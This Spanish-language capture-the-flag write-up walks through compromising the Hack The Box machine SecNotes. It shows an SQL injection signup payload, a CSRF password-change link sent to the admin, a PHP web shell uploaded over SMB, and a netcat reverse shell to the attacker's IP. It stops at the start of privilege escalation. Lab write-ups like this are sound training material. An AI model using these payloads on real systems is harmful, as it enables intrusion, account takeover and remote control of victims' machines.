SecNotes [MEDIUM🔵]

Dificultad: Medio

1- Reconocimiento y escaneo

1.1 Ping

❯ ping -c 1 10.10.10.97
PING 10.10.10.97 (10.10.10.97) 56(84) bytes of data.
64 bytes from 10.10.10.97: icmp_seq=1 ttl=127 time=170 ms

--- 10.10.10.97 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 170.083/170.083/170.083/0.000 ms

Podemos notar que se trata de una maquina Windows, debido al TTL:

TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)

1.2 Nmap

❯ nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv 10.10.10.97 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-20 16:46 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:46
Completed NSE at 16:46, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:46
Completed NSE at 16:46, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:46
Completed NSE at 16:46, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 16:46
Completed Parallel DNS resolution of 1 host. at 16:46, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:46
Scanning 10.10.10.97 [65535 ports]
Discovered open port 445/tcp on 10.10.10.97
Discovered open port 80/tcp on 10.10.10.97
Discovered open port 8808/tcp on 10.10.10.97
Completed SYN Stealth Scan at 16:46, 26.49s elapsed (65535 total ports)
Initiating Service scan at 16:46
Scanning 3 services on 10.10.10.97
Completed Service scan at 16:46, 11.54s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.10.97.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:46
NSE Timing: About 99.77% done; ETC: 16:47 (0:00:00 remaining)
Completed NSE at 16:47, 40.58s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:47
Completed NSE at 16:47, 0.72s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:47
Completed NSE at 16:47, 0.00s elapsed
Nmap scan report for 10.10.10.97
Host is up, received user-set (0.17s latency).
Scanned at 2025-02-20 16:46:09 -03 for 80s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE      REASON          VERSION
80/tcp   open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
| http-title: Secure Notes - Login
|_Requested resource was login.php
|_http-server-header: Microsoft-IIS/10.0
445/tcp  open  microsoft-ds syn-ack ttl 127 Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h40m01s, deviation: 4h37m10s, median: 0s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 25086/tcp): CLEAN (Timeout)
|   Check 2 (port 9176/tcp): CLEAN (Timeout)
|   Check 3 (port 53444/udp): CLEAN (Timeout)
|   Check 4 (port 48926/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2025-02-20T19:46:53
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: SECNOTES
|   NetBIOS computer name: SECNOTES\x00
|   Workgroup: HTB\x00
|_  System time: 2025-02-20T11:46:52-08:00

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:47
Completed NSE at 16:47, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:47
Completed NSE at 16:47, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:47
Completed NSE at 16:47, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 79.73 seconds
           Raw packets sent: 131084 (5.768MB) | Rcvd: 20 (880B)

Se visualiza en el escaneo de Nmap, los puertos 80 con el servicio HTTP IIS de Microsoft Windows en su versión 10.0, 445 donde se aloja el servidor SMB de la maquina objetivo, podemos tambien notar que nos da la versión de Windows que esta corriendo (Windows 10 Enterprise 6.3) y tambien vemos el workgroup HTB para acceder mediante SMB, y tambien el puerto 8808 donde aparentemente se aloja el panel de Administración de IIS

1.3 whatweb

http://10.10.10.97/ [302 Found] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0],
       │  IP[10.10.10.97], Microsoft-IIS[10.0], PHP[7.2.7], RedirectLocation[login.php], X-Powered-By[PHP/7.2.7]
       │ http://10.10.10.97/login.php [200 OK] Bootstrap[3.3.7], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft
       │ -IIS/10.0], IP[10.10.10.97], Microsoft-IIS[10.0], PHP[7.2.7], PasswordField[password], Title[Secure Notes 
       │ - Login], X-Powered-By[PHP/7.2.7]

Se puede ver tecnologías como:

HTTPServer[Microsoft-IIS/10.0]
Microsoft-IIS[10.0]
PHP[7.2.7]
Bootstrap[3.3.7]

1.4 Fuzzing

❯ dirsearch -u http://10.10.10.97/ -o fuzzing.txt

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://10.10.10.97/

[16:22:08] Scanning: 
[16:22:24] 403 -   312B - /\..\..\..\..\..\..\..\..\..\etc\passwd           
[16:22:42] 500 -    1KB - /auth.php                                         
[16:22:50] 302 -     0B - /contact.php  ->  login.php                       
[16:22:52] 500 -    1KB - /db.php                                           
[16:23:00] 302 -     0B - /home.php  ->  login.php                          
[16:23:06] 200 -    1KB - /login.php                                        
[16:23:07] 302 -     0B - /logout.php  ->  login.php                        
[16:23:20] 200 -    2KB - /register.php                                     
                                                                             
Task Completed

En el proceso de fuzzing no encontraremos nada relevante

En este caso, la intrusión ira por otro lado, la intrusión sera por el sitio web, entremos a Firefox en nuestro Kali y vamos a la pagina web por el puerto 80(En mi caso "http://10.10.10.97/login.php")

Podemos ver un panel de login y register. Ahora vamos a ir al sitio web, pero por el puerto 8808:

Esta relacionado con el servicio 8808 que escaneamos con Nmap, IIS(Internet Information Services)

2- Explotación

2.1 XSS

Vamos a probar un XSS básico dentro de la pagina web que corre por el puerto 80, donde se encuentran los formularios

¿Cómo lo hacemos?

Interactuando o modificando con los campos o formularios inyectando código

Aunque en este caso es diferente y vamos a verlo, vamos a crearnos una cuenta en el panel de "Sign up now"

Usuario: t0mz
Password: 123123123

Al darle al boton de "Submit" nos creara una cuenta, ahora vamos a iniciar sesión dentro del panel de login con la cuenta que me registre:

Una vez iniciado sesión, nos saldra un panel como este:

Aparentemente es un sitio web para crear notas, vamos a crear una nota con el botón "New Note"

Botón "Save" para guardar:

Guardó la nota en el panel, ahora, que pasaría si ponemos código HTML en el formulario para crear notas?

Botón "Save" para guardar:

Se acontece un XSS, podriamos realizar la explotación de la maquina por aqui, con robo de sesión mediante las cookies, pero al hacerlo y estar investigando, la maquina da fallos, asi que vamos a ir por otro lado.

2.2 SQL Injection

Vamos a probar una SQL Injection basica dentro de la pagina web que corre por el puerto 80, donde se encuentran los formularios

¿Como lo hacemos?

Interactuando o modificando la consulta SQL que se realiza a la base de datos mediante los formularios de Login o cualquier otro formulario que este directamente relacionado con una base de datos

Aunque en este caso es diferente y vamos a verlo, vamos a crearnos una cuenta en el panel de "Sign up now", pero en el username vamos a aplicar la modificación de la consulta SQL:

Username: ' or 1=1-- -
Password: 123123123

Al darle "Submit" para crear la cuenta, veremos que la cuenta se crea correctamente, ahora vamos a iniciar sesión con las credenciales en la que pusimos en el username la alteración de la consulta SQL:

Botón "Login" para iniciar sesión:

Nos inicio sesión como el primer usuario de la tabla de usuarios, que generalmente suele ser el usuario Administrador y además, tiene acceso a todas las notas, por lo que verificaríamos que es el usuario Administrador, tambien podemos visualizar en la parte de arriba, un correo electronico:

tyler@secnotes.htb

Tambien, si revisamos las notas que aparecen en el panel, veremos que dentro de una de las notas, hay un usuario y una password:

\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&

Usuario: tyler
Password: 92g!mA8BGjOirkL%OG*&

2.3 CSRF(Cross-Site Request Forgery)

Vamos a cerrar sesión del usuario tyler que habiamos comprometido con la SQL Injection con el boton "Sign Out" y vamos a volver a iniciar sesión con el usuario que hemos creado, en mi caso:

Usuario: t0mz
Password: 123123123

Vamos a cambiar nuestra contraseña con el boton "Change Password":

Aqui en este formulario, podemos ver una vulnerabilidad bastante critica, el formulario de contraseña nos deberia tambien preguntar la contraseña actual, como un input de "Current Password", este no es el caso, por lo tanto, se acontece la vulnerabildiad CSRF dentro de este formulario, esta vulnerabilidad la vimos en el Write Up de "BADSTORE 1.2.3".

Vamos a dar un repaso a la vulnerabilidad CSRF:

2.3.1 ¿De que trata la vulnerabilidad CSRF?

Esta vulnerabilidad se acontece cuando mandamos una solicitud al servidor, y esta solicitud la hacemos pasar por un proxy para posteriormente modificarla y convertirla de una solicitud POST a una solicitud GET, generando un link malicioso para cambiar la contraseña de los usuarios, vamos a ver que el software que utilizaremos como proxy es Burp Suite para modificar la solicitud y convertir la solicitud de POST a GET para generar un link malicioso

Vamos a abrir Burp Suite y nos vamos a ir a la pestaña de "Proxy":

Vamos a ir a la configuración del proxy de Burp, en la subpestaña de "Proxy settings":

Vemos que el proxy, esta configurado con la IP 127.0.0.1 por el puerto 8080, sabiendo esto, vamos a ir a Firefox en nuestro Kali, y nos vamos a ir a ajustes del navegador o settings:

En el cuadro de busqueda de opciones, vamos a buscar la palabra clave "network"

Vamos a abrir la configuración de red, con el boton "Settings"

Vamos a darla a "Manual proxy configuration" y lo configuraremos con la IP y puerto correspondiente del proxy de Burp, en este caso la IP 127.0.0.1 y el puerto 8080

Vamos a aceptar con el boton "Ok", este paso no necesariamente tiene por que ser así, podemos configurar el proxy de Burp con la extensión de Foxy Proxy

Abrimos Burp Suite de nuevo y nos ponemos en modo intercepción:

Volvemos al formulario de cambio de contraseña con el boton "Change Password"

Y vamos a rellenar el formulario con una contraseña cualquiera, en mi caso:

Password: 123456789

Botón "Submit" para cambiar la contraseña, se nos va a quedar cargando:

Si volvemos a Burp Suite, abremos interceptado la solicitud:

Podemos ver la contraseña que mencione anteriormente, 123456789

POST /change_pass.php HTTP/1.1

Host: 10.10.10.97

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 59

Origin: http://10.10.10.97

Connection: keep-alive

Referer: http://10.10.10.97/change_pass.php

Cookie: PHPSESSID=l7f5btvb4oomp8b3gdf8tq2t7k

Upgrade-Insecure-Requests: 1

Priority: u=0, i



password=123456789&confirm_password=123456789&submit=submit

Ahora, vamos a dar click derecho en el campo de la consulta dentro de Burp:

Vamos a seleccionar concretamente la opcion "Change Request Method", automaticamente se nos cambiara a una solicitud GET, si volvemos a darle al boton "Change Request Method", nos cambiaria de vuelta a POST.

La solicitud en formato GET, quedaria así:

GET /change_pass.php?password=123456789&confirm_password=123456789&submit=submit HTTP/1.1

Host: 10.10.10.97

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Origin: http://10.10.10.97

Connection: keep-alive

Referer: http://10.10.10.97/change_pass.php

Cookie: PHPSESSID=l7f5btvb4oomp8b3gdf8tq2t7k

Upgrade-Insecure-Requests: 1

Priority: u=0, i


En la primera linea de la solicitud podemos notar esto:

GET /change_pass.php?password=123456789&confirm_password=123456789&submit=submit HTTP/1.1




¿Que pasaria si quitamos la palabra "GET"?

Quedaria de la siguiente manera:

/change_pass.php?password=123456789&confirm_password=123456789&submit=submit HTTP/1.1

Pareceria una URL, que le falta la dirección IP o dominio, si le agregamos la dirección IP de la maquina objetivo de Hack The Box y quitamos el HTTP/1.1, quedaria una URL funcional:

http://10.10.10.97/change_pass.php?password=123456789&confirm_password=123456789&submit=submit

Tambien, veremos que en la URL, se encuentra la contraseña, tanto para confirmar que la contraseña es correcta, como la contraseña nueva del primer campo que introducimos en el formulario de cambio de contraseña, si la modificamos a 0987654321, quedaria asi:

http://10.10.10.97/change_pass.php?password=0987654321&confirm_password=0987654321&submit=submit

Dropeamos la solicitud de BurpSuite con el boton "Drop"

Y volvemos a acceder a la pagina web de la maquina de Hack The Box:

Vemos la URL limpia del sitio web "10.10.10.97", ahora, vamos a ingresar el link dentro del navegador Firefox:

"http://10.10.10.97/change_pass.php?password=0987654321&confirm_password=0987654321&submit=submit HTTP/1.1"

Y veremos que sucede esto:

Se nos actualizo la password a 0987654321, por lo tanto mi cuenta ahora es:

Username: t0mz
Password: 0987654321

La contraseña se ha cambiado solamente con entrar en el enlace y podriamos cambiar la contraseña cuantas veces queramos solo con la URL, obviamente cambiando la contraseña del enlace en los parametros correspondientes de la URL

Ahora bien, vamos a ir a "Contact Us":

Y veremos que podemos contactar a Tyler, nuestro querido amigo Tyler :)

Aparentemente, como vimos en la SQL Injection, es el administrador, y la sección de "Contact Us", es como una especie de soporte:

Vamos a enviarle con el boton "Send", el enlace que previamente habiamos creado para cambiar la contraseña solamente con entrar en el mismo:

http://10.10.10.97/change_pass.php?password=0987654321&confirm_password=0987654321&submit=submit HTTP/1.1

Con la contraseña 0987654321

Vamos a enviarselo a Tyler con el boton "Send", entonces si Tyler hace click en el enlace, estaria cambiando su contraseña automaticamente a 0987654321

Vamos a cerrar sesión de nuestra cuenta con el boton "Sign Out":

Si recordamos bien, en la SQL Injection cuando comprometimos la cuenta de Tyler, dentro de una de las notas que podiamos visualizar en la imagen, teniamos estas credenciales:

\\secnotes.htb\new-site
tyler / 92g!mA8BGjOirkL%OG*&

Usuario: tyler
Password: 92g!mA8BGjOirkL%OG*&

Como Tyler entro al enlace que le enviamos la contraseña ya no es "92g!mA8BGjOirkL%OG*&", si no que ahora es:

Usuario: tyler
Password: 0987654321

Probemos:

Boton "Login" para iniciar sesión:

Nos adueñamos de la cuenta del Administrador Tyler, por que hizo click en la URL que le enviamos

2.4 Intrusión por SMB

Si recordamos en el escaneo de Nmap, teniamos el puerto 445 abierto para recursos compartidos, y tambien tenemos las siguientes credenciales de Tyler

Usuario: tyler
Password: 92g!mA8BGjOirkL%OG*&

Vamos a conectarnos a los recursos compartidos del servidor SMB con estas credenciales, pero antes vamos a validar si las credenciales son validas utilizando la herramienta crackmapexec dentro de nuestro Kali con el siguiente comando:

crackmapexec smb 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&'

El comando se estructura de la siguiente manera:

crackmapexec smb {IP} -u '{Username}' -p '{Password}'

Ejecutamos el comando en nuestro Kali:

❯ crackmapexec smb 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&'
SMB         10.10.10.97     445    SECNOTES         [*] Windows 10 Enterprise 17134 (name:SECNOTES) (domain:SECNOTES) (signing:False) (SMBv1:True)
SMB         10.10.10.97     445    SECNOTES         [+] SECNOTES\tyler:92g!mA8BGjOirkL%OG*&

Las credenciales son validas, por ende vamos a proceder a listar los recursos compartidos via SMB con las credenciales mediante la herramienta smbmap con el siguiente comando:

smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&'

El comando se estructura de la siguiente manera:

smbmap -H {IP o host} -u '{Username}' -p '{Password}'

Ejecutamos:

❯ smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      
                                                                                                                             
[+] IP: 10.10.10.97:445 Name: 10.10.10.97               Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        new-site                                                READ, WRITE
[*] Closed 1 connections

Tenemos varios recursos compartidos, entre ellos el recurso "new-site", donde tenemos permisos de escritura(WRITE) y lectura(READ) y tambien tenemos el recurso "IPC$" donde solo tenemos permisos de lectura con el usuario "tyler".

Vamos a ejecutar el mismo comando de smbmap, pero espceificandole como parametro el recurso "new-site":

smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&' -r new-site

Ejecutamos:

❯ smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&' -r new-site

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 10.10.10.97:445 Name: 10.10.10.97               Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        new-site                                                READ, WRITE
        ./new-site
        dr--r--r--                0 Thu Feb 20 19:05:08 2025    .
        dr--r--r--                0 Thu Feb 20 19:05:08 2025    ..
        fr--r--r--              696 Thu Jun 21 17:15:36 2018    iisstart.htm
        fr--r--r--            98757 Thu Jun 21 17:15:38 2018    iisstart.png
[*] Closed 1 connections

En el recurso compartido "new-site", tenemos 2 archivos

iisstart.png
iisstart.htm

El nombre de estos archivos, hacen referencia al puerto 8808 que escaneamos con Nmap:

8808/tcp open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows

Son 2 archivos que se estan ejecutando dentro de la pagina del host objetivo dentro del puerto 8808

Si nos fijamos bien, tenemos permisos de ESCRITURA y LECTURA, osea que podemos tanto ver archivos, como ejecutar y subir archivos, por lo que tambien si prestamos atención al escaneo que realizamos en whatweb de las tecnologias web, esta pagina web, esta realizada en PHP, podemos subir un archivo malicioso en PHP que nos de una shell mediante el recurso compartido "new-site" donde podemos subir archivos

Por ende, vamos a crear un archivo .PHP dentro de nuestro Kali con el siguiente codigo malicioso:

<?php
        echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>

Codigo PHP de reverse shell en GitHub

❯ vim reverse_shell.php
❯ cat reverse_shell.php
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: reverse_shell.php
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ <?php
   2   │         echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
   3   │ ?>
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Una vez creado el archivo PHP, vamos a conectarnos por SMB al recurso "new-site" mediante la herramienta smbclient con el siguiente comando:

smbclient -U 'tyler%92g!mA8BGjOirkL%OG*&' //10.10.10.97/new-site

El comando se estructura de la siguiente manera:

smbclient -U '{Username}%{Password}' //{IP}/{Recurso compartido}

Ejecutamos:

❯ smbclient -U 'tyler%92g!mA8BGjOirkL%OG*&' //10.10.10.97/new-site
Try "help" to get a list of possible commands.
smb: \> 

Si ejecutamos el comando "dir" para listar los directorios encontraremos los archivos que mencionamos anteriormente que estaban relacionados con el puerto 8808:

smb: \> dir
  .                                   D        0  Thu Feb 20 19:05:08 2025
  ..                                  D        0  Thu Feb 20 19:05:08 2025
  iisstart.htm                        A      696  Thu Jun 21 12:26:03 2018
  iisstart.png                        A    98757  Thu Jun 21 12:26:03 2018

                7736063 blocks of size 4096. 3396666 blocks available

Vamos a subir el archivo malicioso, en mi caso, el archivo se llama "reverse_shell.php". El comando a utilizar es "put"

put {Archivo}

Ejecutamos:

smb: \> put reverse_shell.php 
putting file reverse_shell.php as \reverse_shell.php (0.1 kb/s) (average 0.1 kb/s)
smb: \> 

El archivo ya esta subido, ahora podemos acceder al archivo PHP malicioso mediante el navegador Firefox, con la siguiente URL:

http://10.10.10.97:8808/reverse_shell.php?cmd={Comando a ejecutar}

Si insertamos esta URL en el navegador Firefox de nuestro Kali:

Y somos el usuario Tyler, como si tuviéramos una shell dentro del navegador

3- Obtención de reverse shell con el archivo PHP malicioso

3.1 Conexión con netcat

Vamos a descargarnos netcat pra Windows ya que es una maquina Windows, y mediante SMB vamos a subir el binario de netcat

Descarga binario de netcar para Windows

Una vez descargado, vamos a subirlo mediante SMB con el comando "put", como hicimso anteriormente con el archivo PHP malicioso para obtener la reverse shell:

smb: \> put nc64.exe
putting file nc64.exe as \nc64.exe (51.6 kb/s) (average 51.6 kb/s)
smb: \> 

(Recordar subir el archivo "nc64.exe", el archivo "nc.exe" no)

Si volvemos al navegador Firefox donde teniamos la reverse shell en PHP y listamos directorios con el comando "dir" dentro de la URL, concretamente en el parametro "?cmd="

Verificamos que tenemos el archivo "nc64.exe" subido correctamente

Ahora vamos a ponernos en escucha por el puerto 443 dentro de nuestro Kali:

❯ nc -nlvp 443
listening on [any] 443 ...

Y vamos a volver al navegador Firefox para dentro de la URL, establecer la conexión en el parametro correspondiente:

10.10.10.97:8808/reverse_shell.php?cmd=nc64.exe 10.10.14.9 443 -e cmd.exe

Estructura de la URL:

10.10.10.97:8808/reverse_shell.php?cmd=nc64.exe {IP destino} {Puerto destino} -e {Programa a ejecutar}

(En este caso estariamos ejecutando un CMD)

Ejecutamos y quedaria cargando la pagina:

Pero si volvemos a la terminar de Kali donde teniamos en escucha netcat por el puerto 443, veremos que nos dio acceso a un CMD de Windows:

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.97] 55608
Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\new-site>
C:\inetpub\new-site>whoami
whoami
secnotes\tyler

C:\inetpub\new-site>

3.2 Obtención de la flag usuario

La ruta donde se encuentra la flag de usuario para reclamarla en Hack The Box es:

C:\inetpub\new-site>whoami
whoami
secnotes\tyler

C:\inetpub\new-site>cd ..
cd ..

C:\inetpub>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1E7B-9B76

 Directory of C:\inetpub

06/21/2018  05:47 PM    <DIR>          .
06/21/2018  05:47 PM    <DIR>          ..
06/21/2018  12:10 PM    <DIR>          custerr
06/21/2018  02:00 PM    <DIR>          history
06/21/2018  05:47 PM    <DIR>          logs
02/20/2025  02:51 PM    <DIR>          new-site
06/21/2018  05:47 PM    <DIR>          temp
02/17/2021  07:19 AM    <DIR>          wwwroot
               0 File(s)              0 bytes
               8 Dir(s)  13,913,300,992 bytes free

C:\inetpub>cd ..
cd ..

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1E7B-9B76

 Directory of C:\

06/21/2018  02:07 PM    <DIR>          Distros
06/21/2018  05:47 PM    <DIR>          inetpub
06/22/2018  01:09 PM    <DIR>          Microsoft
04/11/2018  03:38 PM    <DIR>          PerfLogs
06/21/2018  07:15 AM    <DIR>          php7
01/26/2021  02:39 AM    <DIR>          Program Files
01/26/2021  02:38 AM    <DIR>          Program Files (x86)
06/21/2018  02:07 PM       201,749,452 Ubuntu.zip
06/21/2018  02:00 PM    <DIR>          Users
01/26/2021  02:38 AM    <DIR>          Windows
               1 File(s)    201,749,452 bytes
               9 Dir(s)  13,913,300,992 bytes free

C:\>cd users    
cd users

C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1E7B-9B76

 Directory of C:\Users

06/21/2018  02:00 PM    <DIR>          .
06/21/2018  02:00 PM    <DIR>          ..
01/25/2021  07:45 AM    <DIR>          Administrator
06/21/2018  01:55 PM    <DIR>          DefaultAppPool
06/21/2018  12:23 PM    <DIR>          new
06/21/2018  02:00 PM    <DIR>          newsite
06/21/2018  01:12 PM    <DIR>          Public
08/19/2018  09:54 AM    <DIR>          tyler
06/21/2018  01:55 PM    <DIR>          wayne
               0 File(s)              0 bytes
               9 Dir(s)  13,913,300,992 bytes free

C:\Users>cd tyler
cd tyler

C:\Users\tyler>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1E7B-9B76

 Directory of C:\Users\tyler

08/19/2018  09:54 AM    <DIR>          .
08/19/2018  09:54 AM    <DIR>          ..
08/19/2018  09:49 AM                 0 .php_history
06/22/2018  03:29 AM                 8 0
08/19/2018  02:51 PM    <DIR>          3D Objects
08/19/2018  10:10 AM    <DIR>          cleanup
08/19/2018  02:51 PM    <DIR>          Contacts
08/19/2018  02:51 PM    <DIR>          Desktop
08/19/2018  02:51 PM    <DIR>          Documents
08/19/2018  02:51 PM    <DIR>          Downloads
08/19/2018  02:51 PM    <DIR>          Favorites
08/19/2018  02:51 PM    <DIR>          Links
08/19/2018  02:51 PM    <DIR>          Music
04/09/2021  05:09 AM    <DIR>          OneDrive
08/19/2018  02:51 PM    <DIR>          Pictures
08/19/2018  02:51 PM    <DIR>          Saved Games
08/19/2018  02:51 PM    <DIR>          Searches
02/20/2025  01:42 PM    <DIR>          secnotes_contacts
08/19/2018  02:51 PM    <DIR>          Videos
               2 File(s)              8 bytes
              17 Dir(s)  13,913,300,992 bytes free

C:\Users\tyler>cd Desktop
cd Desktop

C:\Users\tyler\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1E7B-9B76

 Directory of C:\Users\tyler\Desktop

08/19/2018  02:51 PM    <DIR>          .
08/19/2018  02:51 PM    <DIR>          ..
06/22/2018  02:09 AM             1,293 bash.lnk
08/02/2021  02:32 AM             1,210 Command Prompt.lnk
04/11/2018  03:34 PM               407 File Explorer.lnk
06/21/2018  04:50 PM             1,417 Microsoft Edge.lnk
06/21/2018  08:17 AM             1,110 Notepad++.lnk
02/20/2025  12:45 PM                34 user.txt
08/19/2018  09:59 AM             2,494 Windows PowerShell.lnk
               7 File(s)          7,965 bytes
               2 Dir(s)  13,913,296,896 bytes free

C:\Users\tyler\Desktop>type user.txt
type user.txt
9359a0c4fea8ebf6508ab502136abe9d

C:\Users\tyler\Desktop>

Dentro de la carpeta personal del usuario Tyler, en el escritorio, el archivo llamado "user.txt" contiene la flag de usuario

4- Escalada de privilegios

Si vamos a la carpeta del Escritorio del usuario tyler, podremos ver que hay un acceso directo llamado "bash.lnk"

C:\Users\tyler\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1E7B-9B76

 Directory of C:\Users\tyler\Desktop

08/19/2018  02:51 PM    <DIR>          .
08/19/2018  02:51 PM    <DIR>          ..
06/22/2018  02:09 AM             1,293 bash.lnk
08/02/2021  02:32 AM             1,210 Command Prompt.lnk
04/11/2018  03:34 PM               407 File Explorer.lnk
06/21/2018  04:50 PM             1,417 Microsoft Edge.lnk
06/21/2018  08:17 AM             1,110 Notepad++.lnk
02/20/2025  12:45 PM                34 user.txt
08/19/2018  09:59 AM             2,494 Windows PowerShell.lnk
               7 File(s)          7,965 bytes
               2 Dir(s)  13,913,300,992 bytes free

